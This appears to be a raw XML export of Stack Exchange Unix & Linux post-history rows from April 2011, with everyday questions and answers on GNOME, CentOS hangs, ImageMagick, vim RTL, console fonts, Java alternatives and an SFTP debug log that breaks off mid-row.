  <row Id="29609" PostHistoryTypeId="3" PostId="12116" RevisionGUID="2f73172f-464a-420e-b52c-8dd58588c0b0" CreationDate="2011-04-27T13:12:52.540" UserId="3645" Text="écvsà" />
  <row Id="29610" PostHistoryTypeId="2" PostId="12117" RevisionGUID="f5117257-f244-4b0b-81e8-402e851890ad" CreationDate="2011-04-27T13:24:01.127" UserId="3519" Text="What API would you want or need? Log files are text, use any text parsing utility, script or language that you might find useful.&#xD;&#xA;&#xD;&#xA;Personally my language of choice tends to be `awk`, but that's because I am familiar with it. Though sometimes simple `grep` or `sed`suffices.&#xD;&#xA;&#xD;&#xA;But really it is all up to what you want to do with your logs. Possibilities are endless." />
  <row Id="29611" PostHistoryTypeId="2" PostId="12118" RevisionGUID="1a4069aa-df6d-4167-8b6f-fe8bcee59077" CreationDate="2011-04-27T13:24:38.710" UserId="4330" Text="I just added and modified a .desktop file in my /home/user/.local/share/applications folder.  &#xD;&#xA;&#xD;&#xA;Is there any way to refresh the icon and caption in the list of applications without logging out?" />
  <row Id="29612" PostHistoryTypeId="1" PostId="12118" RevisionGUID="1a4069aa-df6d-4167-8b6f-fe8bcee59077" CreationDate="2011-04-27T13:24:38.710" UserId="4330" Text="How do I refresh Gnome 3 applications" />
  <row Id="29613" PostHistoryTypeId="3" PostId="12118" RevisionGUID="1a4069aa-df6d-4167-8b6f-fe8bcee59077" CreationDate="2011-04-27T13:24:38.710" UserId="4330" Text="édesktopàégnome3à" />
  <row Id="29614" PostHistoryTypeId="5" PostId="12016" RevisionGUID="2d0a31fd-f6b5-4130-bc8e-49cc59e188e5" CreationDate="2011-04-27T13:30:12.747" UserId="5191" Comment="added 2 characters in body" Text="Cat dumps the contents of the input file to standard output, which in this case is a text device: your terminal window.  Since an image consists of binary data, what you are seeing is the raw binary data interpreted as though it were ASCII text.  For example, a byte with the value 65 would be displayed as upper case A, 66 is upper case B, etc.  If you open the file with an application capable of interpreting the image file correctly, the binary contents of the file will be displayed as an image.&#xD;&#xA; " />
  <row Id="29615" PostHistoryTypeId="2" PostId="12119" RevisionGUID="9883c929-f417-41a5-9d44-9b04da36eb55" CreationDate="2011-04-27T13:30:49.580" UserId="6151" Text="You can restart the gnome-shell by pressing Alt+F2 and then typing in either &quot;restart&quot; or just &quot;r&quot; and pressing enter.&#xD;&#xA;&#xD;&#xA;Otherwise I've noticed that it automatically refreshes .desktop files after waiting a little while." />
  <row Id="29616" PostHistoryTypeId="2" PostId="12120" RevisionGUID="5add4875-325e-4dde-aa8b-cc977cc610c8" CreationDate="2011-04-27T13:34:05.190" UserId="6984" Text="I am using centOS, sometimes the system just does not response at all. In windows box, I can ctrl-alt-delete.&#xD;&#xA;&#xD;&#xA;On a Linux machine, how should I handle this?" />
  <row Id="29617" PostHistoryTypeId="1" PostId="12120" RevisionGUID="5add4875-325e-4dde-aa8b-cc977cc610c8" CreationDate="2011-04-27T13:34:05.190" UserId="6984" Text="No response on a Linux machine" />
  <row Id="29618" PostHistoryTypeId="3" PostId="12120" RevisionGUID="5add4875-325e-4dde-aa8b-cc977cc610c8" CreationDate="2011-04-27T13:34:05.190" UserId="6984" Text="élinuxàécentosà" />
  <row Id="29619" PostHistoryTypeId="2" PostId="12121" RevisionGUID="3318c4d4-181d-46c4-b1da-c13f54771f24" CreationDate="2011-04-27T13:45:15.677" UserId="4843" Text="IMHO, There is no such ctrl+alt+del key-combination for Linux. But to check, why the machine get hangs, you can do either: &#xD;&#xA;1. Press alt+ctrl+f1, and observe the command &quot;top&quot;, to see &quot;who&quot;/&quot;which program&quot; is eating up the cpu and causing the hang.&#xD;&#xA;2. You can place &quot;system-monitor&quot; in the taskbar, whose indicator will show the cpu-usage, for observation." />
  <row Id="29620" PostHistoryTypeId="2" PostId="12122" RevisionGUID="49b27244-d936-4aa1-94c8-39d8c2cfec12" CreationDate="2011-04-27T13:47:58.357" UserId="4843" Text="Simple way to do so is :&#xD;&#xA;1. Kill the gnome-panel service.&#xD;&#xA;killall gnome-panel&#xD;&#xA;2. And start it again&#xD;&#xA;gnome-panel" />
  <row Id="29621" PostHistoryTypeId="5" PostId="11975" RevisionGUID="202ce3ea-6183-4390-986e-0368696b204e" CreationDate="2011-04-27T14:23:26.303" UserId="6935" Comment="added 9 characters in body" Text="You want all your photos to be 6x4 with a width of 1024, right? That means they should be 683 pixels high.&#xD;&#xA;&#xD;&#xA;If that is correct, what you're looking for is ...&#xD;&#xA;&#xD;&#xA;`convert  &lt;input_image&gt;  -resize 1024x683^  -gravity center  -extent 1024x683  &lt;output_image&gt;`&#xD;&#xA;&#xD;&#xA;... where you would replace *&lt;input_image&gt;* with the filename of the image you want to resize, and *&lt;output_image&gt;* with the new filename.&#xD;&#xA;&#xD;&#xA;This will crop the edges to fit the aspect and resize them to 1024x683. It will make small images larger, as well as making large images smaller to fit your size.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&amp;nbsp;&#xD;&#xA;&#xD;&#xA;When you want to resize all images in a directory, you'll need to write a quick bash script, which would look like ...&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    for f in *.[jJ][pP][gG]&#xD;&#xA;    do&#xD;&#xA;    	echo $f&#xD;&#xA;    	convert $f  -resize 1024x683^  -gravity center  -extent 1024x683  print_$f&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;You then just make the script executable. (Say you saved the script as *rename.sh*, you run `chmod u+x rename.sh`.) Then you run the script `./rename.sh` which will resize all the images in the same directory.&#xD;&#xA;" />
  <row Id="29622" PostHistoryTypeId="2" PostId="12123" RevisionGUID="4560503c-3076-4ef0-bb5b-2d94b1ec8fc8" CreationDate="2011-04-27T14:49:47.783" UserId="3645" Text="Found a solution: `cvs -qn update`" />
  <row Id="29623" PostHistoryTypeId="2" PostId="12124" RevisionGUID="ef8e8670-d3f6-478d-836c-8b88e90a0bcb" CreationDate="2011-04-27T14:51:16.390" UserId="5589" Text="If you really want to show lines containing '0', '4', or '9', here's how:&#xD;&#xA;&#xD;&#xA;    seq 10 | sed -n '/[049]/p'&#xD;&#xA;&#xD;&#xA;The `-n` instructs `sed` to *not* print any lines. The `p` command instructs `sed` to print lines matching the `/regex/`&#xD;&#xA;&#xD;&#xA;Alternatively, you can always use `grep` :-)&#xD;&#xA;&#xD;&#xA;    seq 10 | grep -E &quot;[049]&quot;" />
  <row Id="29624" PostHistoryTypeId="2" PostId="12125" RevisionGUID="7c499f1e-1068-4422-a16e-bdba762d053d" CreationDate="2011-04-27T14:55:26.040" UserId="1594" Text="gvim doesn't seem to support it out of the box on my Ubuntu lucid." />
  <row Id="29625" PostHistoryTypeId="1" PostId="12125" RevisionGUID="7c499f1e-1068-4422-a16e-bdba762d053d" CreationDate="2011-04-27T14:55:26.040" UserId="1594" Text="What a good text editor with RTL (right-to-left) support?" />
  <row Id="29626" PostHistoryTypeId="3" PostId="12125" RevisionGUID="7c499f1e-1068-4422-a16e-bdba762d053d" CreationDate="2011-04-27T14:55:26.040" UserId="1594" Text="éubuntuàéeditorsàélanguageàértlà" />
  <row Id="29631" PostHistoryTypeId="2" PostId="12126" RevisionGUID="c579d37d-d501-4cad-8d0a-8dbf16e8ca59" CreationDate="2011-04-27T15:09:09.057" UserId="3447" Text="Since you mention Gvim specifically I assume that its the editor your prefer.  Gvim/`vim` does support right-to-left text.&#xD;&#xA;&#xD;&#xA;Use the option `:set rl` or the longform `:set rightleft` to enable it.  You can add this to your `.vimrc` if you want to always use it.&#xD;&#xA;&#xD;&#xA;`vim` will need to be compiled with the `+rightleft` option.  I'm not 100% sure if Ubuntu does this, but CentOS does.  To check I did `vim --version | grep +rightleft` since `vim` can display what options it was compiled with." />
  <row Id="29632" PostHistoryTypeId="25" PostId="12114" RevisionGUID="a6ddf691-c2c2-4d40-aca4-a7c60c27a0cc" CreationDate="2011-04-27T15:09:15.523" Comment="http://twitter.com/#!/StackUnix/status/63258412603027457" />
  <row Id="29633" PostHistoryTypeId="5" PostId="12120" RevisionGUID="cc4b68a9-e1da-47e8-9bb8-4de7a56dd293" CreationDate="2011-04-27T15:15:34.067" UserId="1925" Comment="deleted 1 characters in body" Text="I am using centOS, sometimes the system just does not respond at all. In windows box, I can ctrl-alt-delete.&#xD;&#xA;&#xD;&#xA;On a Linux machine, how should I handle this?" />
  <row Id="29634" PostHistoryTypeId="2" PostId="12127" RevisionGUID="8752f8d7-0e97-46d5-a3bb-98bcade08769" CreationDate="2011-04-27T15:16:09.057" UserId="6986" Text="If you have a keyboard attached, you could do the [RESUIB method][1]. Otherwise try to ssh into your box, and us top, ps and the usual helper and log checker programs to hunt down your problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kember.net/articles/reisub-the-gentle-linux-restart/" />
  <row Id="29635" PostHistoryTypeId="2" PostId="12128" RevisionGUID="1e4cc141-07f3-4dc6-8d53-4b1e656e1fa3" CreationDate="2011-04-27T15:17:36.090" UserId="4949" Text="There *are* the so-called &quot;Magic SysRq keys&quot; -- a set of keypresses that can be embedded at kernel level and *will* be honored as long as both the kernel process and the keyboard interrupt are still being listened to, and can be called by alt-SysRq-keypress.&#xD;&#xA;&#xD;&#xA;These can perform various emergency tasks such as an emergency **S** ync of all mounted filesystems, k **I** lling all active tasks, or even forcing a hard re **B** oot.&#xD;&#xA;&#xD;&#xA;However, linux in general needs to be pretty far gone for extreme measures like that to be the only remaining solution. Use only with extreme caution and when all else has failed.&#xD;&#xA;&#xD;&#xA;As others have mentioned, though, &quot;doesn't respond&quot; is a bit vague. Can you clarify what is or isn't happening?" />
  <row Id="29636" PostHistoryTypeId="5" PostId="12126" RevisionGUID="7f3e2ee5-829c-4648-bdb3-fbe1fa912422" CreationDate="2011-04-27T15:18:54.273" UserId="3447" Comment="added 1 characters in body" Text="Since you mention Gvim specifically I assume that its the editor your prefer.  Gvim/`vim` does support right-to-left text.&#xD;&#xA;&#xD;&#xA;Use the option `:set rl` or the long form `:set rightleft` to enable it.  You can add this to your `.vimrc` if you want to always use it.&#xD;&#xA;&#xD;&#xA;`vim` will need to be compiled with the `+rightleft` option.  I'm not 100% sure if Ubuntu does this, but CentOS does.  To check I did `vim --version | grep +rightleft` since `vim` can display what options it was compiled with." />
  <row Id="29637" PostHistoryTypeId="2" PostId="12129" RevisionGUID="99d781e0-1046-46f7-a13d-9a699a3edeb7" CreationDate="2011-04-27T15:20:58.223" UserId="1925" Text="On linux systems processes can be observed by using commands such as `ps` (try `sudo ps waux` to see a list with all users and full paths). Lots of programs such as `top` can help you sort and monitor behaviors. You can then send the system commands to control those process using there process id. For example you can use `kill` or `killall` to terminate anything on the system.&#xD;&#xA;&#xD;&#xA;Some system monitors like my favorite `htop` will even allow you to attach traces to running processes to see exactly what they are up to and send them kill signals right from the observer.&#xD;&#xA;&#xD;&#xA;There are some gui variants of these process monitors, but I have no experience with them. In Gnome you might look at `system-monitor`. There is also something known as Linux Process Explorer." />
  <row Id="29638" PostHistoryTypeId="2" PostId="12130" RevisionGUID="3e33560a-0342-48c2-beb0-62a9ed797a93" CreationDate="2011-04-27T16:35:02.273" UserId="6024" Text="I can ssh to my EC2 instance (amazon linux) (same user, from same machine, same certificate)&#xD;&#xA;&#xD;&#xA;normally logging in via WinScp (via my windows7 box) for SFTP works but now it gives me &quot;exit code 128 is sftp running&quot; , the error log just shows me 'subsystem request for sftp'&#xD;&#xA;&#xD;&#xA;How can I get it to work?" />
  <row Id="29639" PostHistoryTypeId="1" PostId="12130" RevisionGUID="3e33560a-0342-48c2-beb0-62a9ed797a93" CreationDate="2011-04-27T16:35:02.273" UserId="6024" Text="can not sftp: returns 128 &quot;is the sftp server running&quot;" />
  <row Id="29640" PostHistoryTypeId="3" PostId="12130" RevisionGUID="3e33560a-0342-48c2-beb0-62a9ed797a93" CreationDate="2011-04-27T16:35:02.273" UserId="6024" Text="ésshàésftpà" />
  <row Id="29641" PostHistoryTypeId="2" PostId="12131" RevisionGUID="1a99bf41-2148-4031-862c-c166c977c674" CreationDate="2011-04-27T16:50:29.177" UserId="6960" Text="	vim /etc/dhcp/dhclient-eth0.conf" />
  <row Id="29642" PostHistoryTypeId="2" PostId="12132" RevisionGUID="ec8b190a-8edc-48ba-a179-9b27b7fbd5d4" CreationDate="2011-04-27T16:51:30.453" UserId="5884" Text="I found several answers already but all of them are focused on changing size for good, i.e. at Lilo/Grub level. I don't want this though.&#xD;&#xA;&#xD;&#xA;So, key issues:&#xD;&#xA;&#xD;&#xA;  1. changing size on-fly, I would like to increase size, and 5 minutes later, decrease it back&#xD;&#xA;&#xD;&#xA;  2. it is question about text console, not terminal running in X11&#xD;&#xA;&#xD;&#xA;openSUSE 11.4 if this matters. Thank you in advance.&#xD;&#xA;&#xD;&#xA;*I am not only interested in size of the font, not in typeface of it.*" />
  <row Id="29643" PostHistoryTypeId="1" PostId="12132" RevisionGUID="ec8b190a-8edc-48ba-a179-9b27b7fbd5d4" CreationDate="2011-04-27T16:51:30.453" UserId="5884" Text="How to change temporarily font size in text console in openSUSE?" />
  <row Id="29644" PostHistoryTypeId="3" PostId="12132" RevisionGUID="ec8b190a-8edc-48ba-a179-9b27b7fbd5d4" CreationDate="2011-04-27T16:51:30.453" UserId="5884" Text="éfontsàéconsoleà" />
  <row Id="29645" PostHistoryTypeId="25" PostId="12107" RevisionGUID="0be6b69f-3733-4c81-a01c-a153d97bb868" CreationDate="2011-04-27T18:09:15.473" Comment="http://twitter.com/#!/StackUnix/status/63303711820230656" />
  <row Id="29646" PostHistoryTypeId="5" PostId="12130" RevisionGUID="844bbc17-ba6b-4da6-aef7-ed123da1d886" CreationDate="2011-04-27T18:09:58.250" UserId="6024" Comment="added 36 characters in body" Text="I can ssh to my EC2 instance (amazon linux) (same user, from same machine, same certificate) however I can no longer use sftp.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Logging in via WinScp (via my windows7 box) for SFTP used to work, but now it gives me &quot;exit code 128, is sftp running&quot; , the error log just shows me 'subsystem request for sftp'&#xD;&#xA;&#xD;&#xA;How can I get it to work?" />
  <row Id="29647" PostHistoryTypeId="2" PostId="12133" RevisionGUID="7a9e733c-f2a6-400f-b4c7-78c2a0e8f151" CreationDate="2011-04-27T18:12:04.113" UserId="6027" Text="If the problem is related to the x session (which, many are) you should be able to ctrl-alt-f1, ctrl-alt-f2, ... to get to a virtual session. &#xD;&#xA;&#xD;&#xA;from there you can top, as suggested above, or, all else fails you can sudo reboot to (as cleanly as possible) get running again." />
  <row Id="29648" PostHistoryTypeId="2" PostId="12134" RevisionGUID="75fca1d6-a5f0-4c9d-90cd-cdf13e339a0e" CreationDate="2011-04-27T18:16:40.097" UserId="6987" Text="What unique hardware signatures can you get from, for example, a FreeBSD system? &#xD;&#xA;&#xD;&#xA;I am right now using the ethernet mac address (getifaddrs(3)) but as we all know this can easily be changed with ifconfig. So what else is there? Anything in sysctl? &#xD;&#xA;&#xD;&#xA;I am using C to do this so if I can just find out where to look I will most likely find a way to get it. " />
  <row Id="29649" PostHistoryTypeId="1" PostId="12134" RevisionGUID="75fca1d6-a5f0-4c9d-90cd-cdf13e339a0e" CreationDate="2011-04-27T18:16:40.097" UserId="6987" Text="Unique hardware signatures in BSD?" />
  <row Id="29650" PostHistoryTypeId="3" PostId="12134" RevisionGUID="75fca1d6-a5f0-4c9d-90cd-cdf13e339a0e" CreationDate="2011-04-27T18:16:40.097" UserId="6987" Text="éfreebsdàéhardwareà" />
  <row Id="29651" PostHistoryTypeId="2" PostId="12135" RevisionGUID="b859cfaa-2641-4231-a84d-d3a92f27abd5" CreationDate="2011-04-27T18:22:32.423" UserId="6960" Text="I want to use jre-1_5_0_21 on my Fedora 14 box. Here's whats installed on my PC: &#xD;&#xA;&#xD;&#xA;	$ update-alternatives --config java&#xD;&#xA;&#xD;&#xA;	There are 2 programs which provide 'java'.&#xD;&#xA;&#xD;&#xA;	  Selection    Command&#xD;&#xA;	-----------------------------------------------&#xD;&#xA;	*+ 1           /usr/lib/jvm/jre-1.6.0-openjdk/bin/java&#xD;&#xA;	   2           /usr/lib/jvm/jre-1.5.0-gcj/bin/java&#xD;&#xA;&#xD;&#xA;	Enter to keep the current selection[+], or type selection number: 1&#xD;&#xA;	failed to create /var/lib/alternatives/java.new: Permission denied&#xD;&#xA;	$ &#xD;&#xA;&#xD;&#xA;rpm -qa&#xD;&#xA;&#xD;&#xA;	$ rpm -qa | grep -i java&#xD;&#xA;	java-1.6.0-openjdk-plugin-1.6.0.0-52.1.9.7.fc14.i686&#xD;&#xA;	java-1.6.0-openjdk-1.6.0.0-52.1.9.7.fc14.i686&#xD;&#xA;	java-1.5.0-gcj-1.5.0.0-34.fc14.i686&#xD;&#xA;	java_cup-0.11a-4.fc13.noarch&#xD;&#xA;	tzdata-java-2011d-3.fc14.noarch&#xD;&#xA;	$ &#xD;&#xA;&#xD;&#xA;How can I have several versions of java installed on my PC, and selecting it by: &quot;update-alternatives --config java&quot;?" />
  <row Id="29652" PostHistoryTypeId="1" PostId="12135" RevisionGUID="b859cfaa-2641-4231-a84d-d3a92f27abd5" CreationDate="2011-04-27T18:22:32.423" UserId="6960" Text="Several versions of JAVA on one PC" />
  <row Id="29653" PostHistoryTypeId="3" PostId="12135" RevisionGUID="b859cfaa-2641-4231-a84d-d3a92f27abd5" CreationDate="2011-04-27T18:22:32.423" UserId="6960" Text="éjavaà" />
  <row Id="29654" PostHistoryTypeId="2" PostId="12136" RevisionGUID="2d63b617-3d28-430f-bbb0-043b6b67d910" CreationDate="2011-04-27T18:32:20.933" UserId="6761" Text="You can use&#xD;&#xA;&lt;pre&gt;&lt;code&gt;setfont /usr/share/kbd/consolefonts/$font&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;to change the font in the console, and then to revert back, just&#xD;&#xA;&lt;pre&gt;&lt;code&gt;setfont&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;There is more detail here:&#xD;&#xA;https://wiki.archlinux.org/index.php/Fonts#Console_fonts" />
  <row Id="29655" PostHistoryTypeId="2" PostId="12137" RevisionGUID="b1eb74fe-1991-43f2-87f2-86e3a855ef6d" CreationDate="2011-04-27T18:39:20.130" UserId="6988" Text="It is strange that no one mentioned about `multitail` utility which has this functionality out-of-box. One of usage example:&#xD;&#xA;&#xD;&#xA;&gt;Show the output of a ping-command and if it displays a timeout, send a message to all users currently logged in&#xD;&#xA;&gt;&#xD;&#xA;&gt;multitail -ex timeout &quot;echo timeout | wall&quot; -l &quot;ping 192.168.0.1&quot;&#xD;&#xA;&#xD;&#xA;See also [another examples][1] of `multitail` usage.&#xD;&#xA;&#xD;&#xA;[1]: http://www.vanheusden.com/multitail/examples.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29656" PostHistoryTypeId="5" PostId="12136" RevisionGUID="9a365e03-cce5-4e17-be73-7042c54039e5" CreationDate="2011-04-27T18:47:48.950" UserId="6761" Comment="more detail; added 10 characters in body" Text="You can use&#xD;&#xA;&lt;pre&gt;&lt;code&gt;setfont /usr/share/kbd/consolefonts/$font&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;to change the font in the console, and then to revert back, just&#xD;&#xA;&lt;pre&gt;&lt;code&gt;setfont&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Once you determine where Suse keeps these fonts, with&#xD;&#xA;&lt;pre&gt;&lt;code&gt;locate consolefonts&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;pick a larger one to set and away you go...&#xD;&#xA;&#xD;&#xA;There is more detail here:&#xD;&#xA;https://wiki.archlinux.org/index.php/Fonts#Console_fonts" />
  <row Id="29657" PostHistoryTypeId="2" PostId="12138" RevisionGUID="5cf4e9f6-cf67-4f21-ae73-717cae51f6dd" CreationDate="2011-04-27T18:58:10.077" UserId="2168" Text="Look for `Subsystem sftp &lt;path&gt;` in the sshd configuration, `/etc/ssh/sshd_config`. Make sure *`&lt;path&gt;`* points to the SFTP server (path varies, but usually ends with `openssh/sftp-server`). Make sure said server is executable.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ grep sftp /etc/ssh/sshd_config&#xD;&#xA;Subsystem sftp /usr/lib/openssh/sftp-server&#xD;&#xA;&#xD;&#xA;$ /usr/lib/openssh/sftp-server -h&#xD;&#xA;usage: sftp-server [-ehR] [-f log_facility] [-l log_level] [-u umask]&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Try running sshd in debug mode, on an alternate port:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;# sshd -rddp 1234&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;It should show why exactly the subsystem request is failing." />
  <row Id="29658" PostHistoryTypeId="2" PostId="12139" RevisionGUID="4525d367-7268-450b-a41a-3b98097fb8e5" CreationDate="2011-04-27T19:10:07.940" UserId="1925" Text="RTL support in Linux is actually pretty good. As far as I can tell, anything that could be considered a &quot;good text editor&quot; also has RTL support.&#xD;&#xA;&#xD;&#xA;I would pick your favorite editor based on other criteria, then if it's not obvious ask how to enable RTL support. If your primary system language is set to a RTL region most things seem to default to it pretty well." />
  <row Id="29659" PostHistoryTypeId="2" PostId="12140" RevisionGUID="c8e99726-a5ef-4d12-92bd-ae1879f92b26" CreationDate="2011-04-27T19:27:47.557" UserId="1304" Text="When using a terminal based client like weechat, weechat does not signal the terminal letting the user know that they have been highlighted.   How can this be done?  I would like my terminal to blink when I am highlighted." />
  <row Id="29660" PostHistoryTypeId="1" PostId="12140" RevisionGUID="c8e99726-a5ef-4d12-92bd-ae1879f92b26" CreationDate="2011-04-27T19:27:47.557" UserId="1304" Text="How can I get weechat to signal gnome-terminal on a highlight?" />
  <row Id="29661" PostHistoryTypeId="3" PostId="12140" RevisionGUID="c8e99726-a5ef-4d12-92bd-ae1879f92b26" CreationDate="2011-04-27T19:27:47.557" UserId="1304" Text="éterminalàésignalsàéircà" />
  <row Id="29662" PostHistoryTypeId="2" PostId="12141" RevisionGUID="b82d2db7-57c5-43d8-93fd-1ff8f876402b" CreationDate="2011-04-27T19:38:42.303" UserId="6866" Text="Linux has a tool called 'dmidecode' that can pull S/Ns from a lot of the hardware present, including memory modules (if provided via DMI), disks, CPUs etc. This could be of help - but realize many of these can change without actually changing machine!&#xD;&#xA;&#xD;&#xA;I do not know for sure if FreeBSD has the same tool, but I'm positive they have something to fill that niche." />
  <row Id="29663" PostHistoryTypeId="2" PostId="12142" RevisionGUID="002a598a-a19f-45e6-aba8-a7b14eb38f93" CreationDate="2011-04-27T19:40:13.150" UserId="885" Text="[Yudit](http://www.yudit.org/) is an editor specifically designed to cope well with “exotic” language and language combinations. This includes advanced support for [bidirectional text](http://www.yudit.org/en/howto/bidi/). On the minus side, it's otherwise rather primitive for an editor.&#xD;&#xA;&#xD;&#xA;Emacs's development branch (what is currently known as Emacs 24.0.50.x and will eventually be Emacs 24.1) [supports bidirectional text](http://www.m17n.org/emacs-bidi/). On Ubuntu, try the [emacs-snapshot](http://packages.ubuntu.com/emacs-snapshot) [![Install emacs-snapshot](http://bit.ly/software-small)](http://apt.ubuntu.com/p/emacs-snapshot) package (as this is a development snapshot, you may be better off recompiling a more recent version).&#xD;&#xA;" />
  <row Id="29664" PostHistoryTypeId="6" PostId="12125" RevisionGUID="83b23a12-0745-49a4-8558-93b63da56740" CreationDate="2011-04-27T19:41:06.973" UserId="885" Comment="edited tags" Text="éubuntuàéeditorsàéunicodeàérightötoöleftà" />
  <row Id="29665" PostHistoryTypeId="6" PostId="6988" RevisionGUID="059122c6-3b2b-4721-8e49-b730c7b0b7c7" CreationDate="2011-04-27T19:41:51.840" UserId="885" Comment="edited tags" Text="élinuxàéxorgàéfontsàéunicodeà" />
  <row Id="29666" PostHistoryTypeId="6" PostId="12132" RevisionGUID="429aea78-2271-430d-9b5a-42f350af41a5" CreationDate="2011-04-27T19:43:12.917" UserId="885" Comment="edited tags" Text="élinuxàéfontsàéconsoleà" />
  <row Id="29667" PostHistoryTypeId="5" PostId="12132" RevisionGUID="da7b0aa0-b1dc-4ac3-ac73-671d2970fbe3" CreationDate="2011-04-27T19:43:23.057" UserId="5884" Comment="deleted 4 characters in body" Text="I found several answers already but all of them are focused on changing size for good, i.e. at Lilo/Grub level. I don't want this though.&#xD;&#xA;&#xD;&#xA;So, key issues:&#xD;&#xA;&#xD;&#xA;  1. changing size on-fly, I would like to increase size, and 5 minutes later, decrease it back&#xD;&#xA;&#xD;&#xA;  2. it is question about text console, not terminal running in X11&#xD;&#xA;&#xD;&#xA;openSUSE 11.4 if this matters. Thank you in advance.&#xD;&#xA;&#xD;&#xA;*I am only interested in size of the font, not in typeface of it.*" />
  <row Id="29668" PostHistoryTypeId="2" PostId="12143" RevisionGUID="248104fb-520a-469c-ab67-0b5d71a0b85b" CreationDate="2011-04-27T19:49:59.027" UserId="885" Text="If you just want to start a program with a specific Java implementation, give the full path to the `java` interpreter:&#xD;&#xA;&#xD;&#xA;    /usr/lib/jvm/jre-1.6.0-openjdk/bin/java my-app.jar&#xD;&#xA;&#xD;&#xA;If you want to change the default interpreter, you just need to run `update-alternatives` [as root](http://unix.stackexchange.com/q/3063):&#xD;&#xA;&#xD;&#xA;    sudo update-alternatives --config java&#xD;&#xA;" />
  <row Id="29669" PostHistoryTypeId="6" PostId="12135" RevisionGUID="d9d7b682-4bfc-4c49-9b03-80ef98bd53c1" CreationDate="2011-04-27T19:50:14.847" UserId="885" Comment="edited tags" Text="éfedoraàéjavaàéalternativesà" />
  <row Id="29670" PostHistoryTypeId="6" PostId="12120" RevisionGUID="4b4919bd-bf6f-4859-b3ac-c0fdfe3c5d4f" CreationDate="2011-04-27T19:55:30.447" UserId="885" Comment="edited tags" Text="élinuxàécrashà" />
  <row Id="29671" PostHistoryTypeId="6" PostId="12114" RevisionGUID="86be9495-21ed-4d7a-aca7-cc8eea4b0ad2" CreationDate="2011-04-27T20:00:48.617" UserId="885" Comment="edited tags" Text="ésecurityàéapacheàéfirewallàéphpà" />
  <row Id="29672" PostHistoryTypeId="6" PostId="12110" RevisionGUID="d5669d7b-ac2e-413d-ad43-019cae34368b" CreationDate="2011-04-27T20:01:46.683" UserId="885" Comment="edited tags" Text="ésoftwareörecàétimeàéproductivityà" />
  <row Id="29673" PostHistoryTypeId="6" PostId="12111" RevisionGUID="e899f906-429d-4cb1-9e13-0e85c8e9d180" CreationDate="2011-04-27T20:03:41.013" UserId="885" Comment="edited tags" Text="élinuxàébootàéhardödiskàégentooàéudevà" />
  <row Id="29674" PostHistoryTypeId="5" PostId="12130" RevisionGUID="f1a143b8-7919-48ab-80a0-56dce0faff76" CreationDate="2011-04-27T20:11:05.127" UserId="6024" Comment="added 2808 characters in body" Text="I can ssh to my EC2 instance (amazon linux) (same user, from same machine, same certificate) however I can no longer use sftp.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Logging in via WinScp (via my windows7 box) for SFTP used to work, but now it gives me &quot;exit code 128, is sftp running&quot; , the error log just shows me 'subsystem request for sftp'&#xD;&#xA;&#xD;&#xA;How can I get it to work?&#xD;&#xA;&#xD;&#xA;debugging delivers this:&#xD;&#xA;&#xD;&#xA;        debug1: session_open: channel 0&#xD;&#xA;    debug1: session_open: session 0: link with channel 0&#xD;&#xA;    debug1: server_input_channel_open: confirm session&#xD;&#xA;    debug1: server_input_channel_req: channel 0 request simple@putty.projects.tartarus.org reply 0&#xD;&#xA;    debug1: session_by_channel: session 0 channel 0&#xD;&#xA;    debug1: session_input_channel_req: session 0 req simple@putty.projects.tartarus.org&#xD;&#xA;    debug1: server_input_channel_req: channel 0 request auth-agent-req@openssh.com reply 1&#xD;&#xA;    debug1: session_by_channel: session 0 channel 0&#xD;&#xA;    debug1: session_input_channel_req: session 0 req auth-agent-req@openssh.com&#xD;&#xA;    debug1: temporarily_use_uid: 222/500 (e=222/500)&#xD;&#xA;    debug1: restore_uid: (unprivileged)&#xD;&#xA;    debug2: fd 8 setting O_NONBLOCK&#xD;&#xA;    debug1: channel 1: new [auth socket]&#xD;&#xA;    debug1: server_input_channel_req: channel 0 request subsystem reply 1&#xD;&#xA;    debug1: session_by_channel: session 0 channel 0&#xD;&#xA;    debug1: session_input_channel_req: session 0 req subsystem&#xD;&#xA;    subsystem request for sftp&#xD;&#xA;    debug1: subsystem: exec() /usr/libexec/openssh/sftp-server&#xD;&#xA;    debug2: fd 5 setting TCP_NODELAY&#xD;&#xA;    debug2: fd 11 setting O_NONBLOCK&#xD;&#xA;    debug2: fd 10 setting O_NONBLOCK&#xD;&#xA;    debug1: Received SIGCHLD.&#xD;&#xA;    debug1: session_by_pid: pid 10940&#xD;&#xA;    debug1: session_exit_message: session 0 channel 0 pid 10940&#xD;&#xA;    debug2: channel 0: request exit-signal confirm 0&#xD;&#xA;    debug1: session_exit_message: release channel 0&#xD;&#xA;    debug2: channel 0: write failed&#xD;&#xA;    debug2: channel 0: close_write&#xD;&#xA;    debug2: channel 0: send eow&#xD;&#xA;    debug2: channel 0: output open -&gt; closed&#xD;&#xA;    debug2: channel 0: read&lt;=0 rfd 11 len 0&#xD;&#xA;    debug2: channel 0: read failed&#xD;&#xA;    debug2: channel 0: close_read&#xD;&#xA;    debug2: channel 0: input open -&gt; drain&#xD;&#xA;    debug2: channel 0: ibuf empty&#xD;&#xA;    debug2: channel 0: send eof&#xD;&#xA;    debug2: channel 0: input drain -&gt; closed&#xD;&#xA;    debug2: channel 0: send close&#xD;&#xA;    debug2: notify_done: reading&#xD;&#xA;    debug2: channel 0: rcvd close&#xD;&#xA;    debug2: channel 0: is dead&#xD;&#xA;    debug2: channel 0: gc: notify user&#xD;&#xA;    debug1: session_by_channel: session 0 channel 0&#xD;&#xA;  